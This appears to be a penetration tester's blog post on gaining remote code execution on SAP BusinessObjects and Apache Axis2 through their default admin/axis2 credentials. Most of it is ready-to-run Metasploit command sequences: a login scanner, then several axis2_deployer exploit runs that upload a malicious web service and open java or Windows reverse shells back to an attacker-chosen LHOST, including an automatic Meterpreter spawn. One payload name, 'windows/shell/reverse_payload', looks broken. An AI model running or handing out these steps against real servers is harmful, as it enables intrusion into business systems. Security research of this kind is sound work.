Axis2 Deployer via SOAP

At OWASP AppSecDC @willis__ and I talked about several attacks against SAP BusinessObjects. SAP BusinessObjects uses a module known as dswsbobje.war to deploy the Axis2 interface. Axis2 is a web application interface for administering web services. The dswsbobje module deploys several SAP BusinessObjects web services. These web services allow for anyone that is using BusinessObjects to build integration with other systems in their environment. The problem is that SAP did not remove the functionality which would prevent a malicious attacker or XSS’ed admin from deploying a malicious web service. Worse yet is that they also left the Axis2 interface configured with default credentials and then they went ahead and forgot to mention this fact in their 1000+ pages administration guide. Perfect storm. “What’s the worst that could happen….?”

Axis2 and SAP’s dswsbobje module both use the default credentials to login to the web interface (admin / axis2). Metasploit already has a module to test for default Axis2 credentials.

We can use this against SAP BusinessObjects by using the following msfconsole commands:

use auxiliary/scanner/http/axis_login
set URI /dswsbobje/axis2-admin/login
set USERNAME admin
set PASSWORD axis2
set RHOSTS 192.168.33.128
run

After we have identified a target that has default Axis2 credentials, we can utilize these credentials to login and deploy a new malicious web service. The way this works is that Axis2 Deployer module creates a new web service (jar), uploads the web service by using the default Axis2 credentials and then makes a SOAP request to execute meterpreter.

The Axis2 Deployer Exploit module have been added to Metasploit svn so that anyone that runs into Axis2 in the future will be able to easily exploit the system. The Metasploit module uses the java/meterpreter or java/shell payloads.

Here is an example of using the Axis2 Deployer exploit module against SAP BusinessObjects:

use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload java/meterpreter/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j

For those running BusinessObjects SAP has provided a “fix” on their website (this site requires authentication).

For Axis2 that only difference is that the PATH is set to /axis2.

use exploit/multi/http/axis2_deployer
set PATH /axis2
set RHOST 192.168.33.128
set payload java/shell/reverse_tcp
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j

It’s important to keep in-mind is that java/meterpreter is not the same as windows/meterpreter and therefore has several limitations which make it less than ideal for anyone that is performing a penetration assessment. To get around this limitation, we can use the spawn_meterpreter script.


use exploit/multi/http/axis2_deployer
set PATH /dswsbobje
set RHOST 192.168.33.128
set payload windows/shell/reverse_payload
set AutoRunScript spawn_meterpreter
set target 0
set LHOST 192.168.33.1
set LPORT 13337
exploit -j

This script will cause Metasploit to execute a new instance of meterpreter automatically after the first session is opened.

Regards,
Jabra

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